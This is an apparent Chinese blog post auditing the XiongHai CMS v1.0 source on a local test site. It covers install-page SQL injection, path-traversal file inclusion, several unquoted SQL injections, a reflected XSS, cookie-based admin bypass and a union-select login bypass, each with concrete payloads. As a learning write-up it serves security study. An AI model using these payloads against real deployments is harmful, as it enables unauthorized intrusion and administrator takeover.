熊海cms v1.0代码审计
下载熊海cms整个文件
phpstudy本地搭建网站完之后
先查看目录
——admin //后台文件 ——css //css文件 ——files //功能函数文件 ——images //图片 ——index.php //主目录文件 ——inc //include的简写,存放头文件的 ——install //安装文件 ——seacmseditor //编辑器 ——template //模板文件 ——upload //文件上传目录
开始进行代码审计
先seay扫描一遍
扫出第一个漏洞
一 安装界面存在sql注入漏洞
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
构造报错注入payload
1' or extractvalue(1,concat(0x7e,(select @@version),0x7e));#
二 主目录 和admin目录的index.php存在文件包含漏洞
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index 也就是说 这是个三目运算符 优先级是要比赋值要高的 如果file变量为空 则把index赋值给file 否则就不对file变量进行操作 include('files/'.$action.'.php'); //载入相应文件 ?>
addslashes函数
代码自动给action变量添加/file目录和PHP后缀 所以不要文件包含时不要再自己加php目录了 目录跳转到file的上一目录 也就是首目录执行上传的phpinfo
http://127.0.0.1/xionghaicms/index.php?r=../info.php
包含成功
admin目录的index.php也同样的利用方式
只不过需要跳转两次
http://127.0.0.1/xionghaicms/admin/index.php?r=../../info.php
三 前台多处sql注入
防止sql注入 此cms只是增加了addslashes()
函数过滤
但是应用此函数时还需要注意一下两点
1. 是否有单引号保护
2.是否做了宽字节注入的防御
对于宽字节编码,有一种最好的修补就是: (1)使用mysql_set_charset(GBK)指定字符集 (2)使用mysql_real_escape_string进行转义 原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢? 就是使用mysql_set_charset进行指定。 上述的两个条件是“与”运算的关系,少一条都不行。
files/software.php 第13行未做单引号保护
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
files/content.php第19行未做单引号保护
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
files/submit.php 只是对type变量做了单引号保护 对于post传参也是可以sql注入的
$type=addslashes($_GET['type']); $name=$_POST['name']; $mail=$_POST['mail']; $url=$_POST['url']; $content=$_POST['content']; $cid=$_POST['cid']; $ip=$_SERVER["REMOTE_ADDR"]; $tz=$_POST['tz']; if ($tz==""){$tz=0;} $jz=$_POST['jz'];
四 xss漏洞
files/contact.php
第12~15行
$page=addslashes($_GET['page']); if ($page<>""){ if ($page<>1){ $pages="第".$page."页 - ";
构造payload page=<img src=x onerror=alert(/xss/);>执行成功
五 垂直越权
<?php $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit; } ?>
这是个判断是否为管理员的程序,如果user中为空,就跳到登录首页。可以看到 cookie中的user被赋值给user变量 如果我们在需要登录管理员的页面下 在cookie中尝试添加 user:admin 发现在不需要密码的情况下登录成功。实现了垂直越权。
五 万能密码登录
漏洞位置admin\files\login.php
<?php ob_start(); require '../inc/conn.php'; $login=$_POST['login']; $user=$_POST['user']; $password=$_POST['password']; $checkbox=$_POST['checkbox']; if ($login<>""){ $query = "SELECT * FROM manage WHERE user='$user'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $users = mysql_fetch_array($result); if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; }else{ $passwords=$users['password']; if(md5($password)<>$passwords){ echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; } //写入登录信息并记住30天 if ($checkbox==1){ setcookie('user',$user,time()+3600*24*30,'/'); }else{ setcookie('user',$user,0,'/'); } echo "<script>this.location='?r=index'</script>"; exit; } exit; ob_end_flush(); } ?>
未对user值进行过滤就被带入到数据库进行查询
如果我们在输入user时利用联合查询临时插入一行值,其中包括着密码 在输入密码时结合构造的payload 即可实现登录
user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1
此处md5(1)=c4ca4238a0b923820dcc509a6f75849b
漏洞分析:
先是利用联合查询临时在表中生成了一行数据
然后在输入密码时和我们伪造的数据库密码对应 即可绕过验证 登录成功
总结:
这是我第一个完整的cms代码审计,但大多还是参考的师傅们的文章。要学的东西还有很多,一步一个脚印慢慢来吧。
路漫漫其修远兮,吾将上下而求索